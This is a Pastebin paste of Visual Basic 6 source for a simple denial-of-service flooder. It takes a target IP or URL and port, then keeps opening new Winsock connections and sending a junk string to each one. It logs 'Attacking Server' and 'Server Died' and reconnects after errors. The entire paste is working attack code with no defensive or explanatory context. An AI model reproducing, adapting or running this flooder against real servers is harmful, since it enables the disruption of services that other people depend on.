taZe

Untitled

Jul 28th, 2015
273
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.69 KB | None | 0 0
  1. Dim x As Integer
  2.  
  3. Dim attack As Boolean
  4.  
  5. --------------------------------------------------
  6.  
  7. Private Sub Attack_Click(Index As Integer)
  8.  
  9. If Text1.Text = "" Then
  10.  
  11. MsgBox "Please enter a valid ip or url"
  12.  
  13. Else
  14.  
  15. With w(0)
  16.  
  17.   .Connect Text1.Text, Text2.Text
  18.  
  19. End With
  20.  
  21. End If
  22.  
  23. End Sub
  24.  
  25. ---------------------------------------------------
  26.  
  27. Private Sub Stop_Click(Index As Integer)
  28.  
  29. For i = 1 To x
  30.  
  31. Unload w(i)
  32.  
  33. DoEvents
  34.  
  35. Next i
  36.  
  37. w(Index).Close
  38.  
  39. w(0).Close
  40.  
  41. attack = False
  42.  
  43. stopped "Attack stopped at " & Time
  44.  
  45. x = 0
  46.  
  47. End Sub
  48.  
  49.  
  50.  
  51. ---------------------------------------------------
  52.  
  53.  
  54.  
  55. Private Sub Clear_Click()
  56.  
  57. text3.Text = ""
  58.  
  59. End Sub
  60.  
  61. ---------------------------------------------------
  62.  
  63. Public Sub looping()
  64.  
  65. x = x + 1
  66.  
  67. Load w(x)
  68.  
  69. With w(x)
  70.  
  71. .Connect Text1.Text, Text2.Text
  72.  
  73. End With
  74.  
  75. DoEvents
  76.  
  77. End Sub
  78.  
  79. ---------------------------------------------------
  80.  
  81.  
  82.  
  83. Public Sub alive(txt As String)
  84.  
  85. Dim a As String
  86.  
  87. a = vbCrLf & txt
  88.  
  89. With text3
  90.  
  91. .SelStart = Len(.TextRTF)
  92.  
  93. .SelLength = Len(a)
  94.  
  95.   .SelColor = vbGreen
  96.  
  97.    .SelText = a
  98.  
  99. End With
  100.  
  101. End Sub
  102.  
  103. ---------------------------------------------------
  104.  
  105. Public Sub dead(txt As String)
  106.  
  107. Dim a As String
  108.  
  109. a = vbCrLf & txt
  110.  
  111. With text3
  112.  
  113. .SelStart = Len(.TextRTF)
  114.  
  115. .SelLength = Len(a)
  116.  
  117.   .SelColor = vbRed
  118.  
  119.    .SelText = a
  120.  
  121. End With
  122.  
  123. End Sub
  124.  
  125. ---------------------------------------------------
  126.  
  127. Public Sub stopped(txt As String)
  128.  
  129. Dim a As String
  130.  
  131. a = vbCrLf & txt
  132.  
  133. With text3
  134.  
  135. .SelStart = Len(.TextRTF)
  136.  
  137.   .SelLength = Len(a)
  138.  
  139.    .SelColor = vbYellow
  140.  
  141.     .SelText = a
  142.  
  143. End With
  144.  
  145. End Sub
  146.  
  147. ---------------------------------------------------
  148.  
  149. Public Sub loadd(txt As String)
  150.  
  151. Dim a As String
  152.  
  153. a = txt
  154.  
  155. With text3
  156.  
  157. .SelStart = Len(.TextRTF)
  158.  
  159. .SelLength = Len(a)
  160.  
  161.   .SelColor = vbBlue
  162.  
  163.    .SelText = a
  164.  
  165. End With
  166.  
  167. End Sub
  168.  
  169.  
  170.  
  171. ---------------------------------------------------
  172.  
  173.  
  174.  
  175. Private Sub w_Connect(Index As Integer)
  176.  
  177. attack = True
  178.  
  179. Dim pck$
  180.  
  181.  
  182.  
  183. pck$ = "SUCKONMABALLSACK"
  184.  
  185.  
  186.  
  187. looping
  188.  
  189. w(Index).SendData (pck$)
  190.  
  191. alive "Attacking Server " & w(Index).LocalPort & ":" & x
  192.  
  193. Me.Caption = "Server Attack(" & x & " " & "connections)"
  194.  
  195. DoEvents
  196.  
  197. End Sub
  198.  
  199. ---------------------------------------------------
  200.  
  201. Private Sub w_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  202.  
  203. dead "Server Died @ " & Time
  204.  
  205. With w(Index)
  206.  
  207. .Close
  208.  
  209. .Connect Text1.Text, Text2.Text
  210.  
  211. End With
  212.  
  213. DoEvents
  214.  
  215. End Sub
  216.  
  217.  
  218.  
  219. ---------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment